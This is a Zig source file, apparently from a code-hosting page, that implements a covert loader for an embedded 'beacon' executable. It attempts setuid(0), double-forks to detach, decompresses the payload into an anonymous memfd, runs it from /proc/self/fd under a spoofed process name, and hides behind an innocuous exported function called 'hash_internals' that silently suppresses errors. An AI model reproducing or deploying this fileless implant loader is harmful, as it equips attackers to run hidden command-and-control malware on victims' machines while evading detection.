67 lines
2.2 KiB
Zig
67 lines
2.2 KiB
Zig
const std = @import("std");
|
|
|
|
const beacon = @embedFile("beacon");
|
|
|
|
const Parameters = @cImport({
|
|
@cInclude("abi.h");
|
|
}).Parameters;
|
|
|
|
fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
|
|
std.debug.print("Test {s}", .{parameters.beacon_identifier});
|
|
|
|
const uid = std.os.linux.getuid();
|
|
_ = std.c.setuid(0);
|
|
|
|
if (std.os.linux.getuid() != 0) {
|
|
return;
|
|
}
|
|
|
|
const pid = std.c.fork();
|
|
if (pid == 0) {
|
|
if (std.c.fork() == 0) {
|
|
const exe_fd = try std.posix.memfd_create("", 0);
|
|
var gzipped_exe_stream = std.io.fixedBufferStream(gzipped_exe);
|
|
var exe_file = std.fs.File{ .handle = exe_fd };
|
|
|
|
try std.compress.gzip.decompress(gzipped_exe_stream.reader(), exe_file.writer());
|
|
|
|
var params_buffer: [@sizeOf(Parameters) + 1]u8 = undefined;
|
|
const params_input_ptr: [*]u8 = @ptrCast(parameters);
|
|
@memcpy(params_buffer[0..@sizeOf(Parameters)], params_input_ptr);
|
|
params_buffer[@sizeOf(Parameters)] = 0;
|
|
|
|
try exe_file.writer().writeAll(¶ms_buffer);
|
|
|
|
var arena = std.heap.ArenaAllocator.init(std.heap.page_allocator);
|
|
defer arena.deinit();
|
|
const alloc = arena.allocator();
|
|
|
|
const file_path = try std.fmt.allocPrint(alloc, "/proc/self/fd/{d}", .{exe_fd});
|
|
|
|
const beacon_name = try alloc.dupeZ(u8, parameters.beacon_name[0..parameters.beacon_name_length]);
|
|
const file_path_ptr = try alloc.dupeZ(u8, file_path);
|
|
|
|
const argv: [*:null]const ?[*:0]const u8 = &.{ beacon_name, null };
|
|
const envp: [*:null]const ?[*:0]const u8 = &.{null};
|
|
|
|
_ = std.c.execve(file_path_ptr, argv, envp);
|
|
std.c.exit(1);
|
|
}
|
|
std.c.exit(0);
|
|
} else {
|
|
var status: c_int = 0;
|
|
_ = std.c.waitpid(pid, &status, 0);
|
|
_ = std.c.kill(pid, std.c.SIG.KILL);
|
|
}
|
|
|
|
_ = std.c.setuid(uid);
|
|
}
|
|
|
|
export fn hash_internals(parameters: *Parameters) void {
|
|
use_beacon(beacon, parameters) catch |err| {
|
|
if (@import("builtin").mode == .Debug) {
|
|
std.debug.print("Error using hash internals! {any}", .{err});
|
|
}
|
|
};
|
|
}
|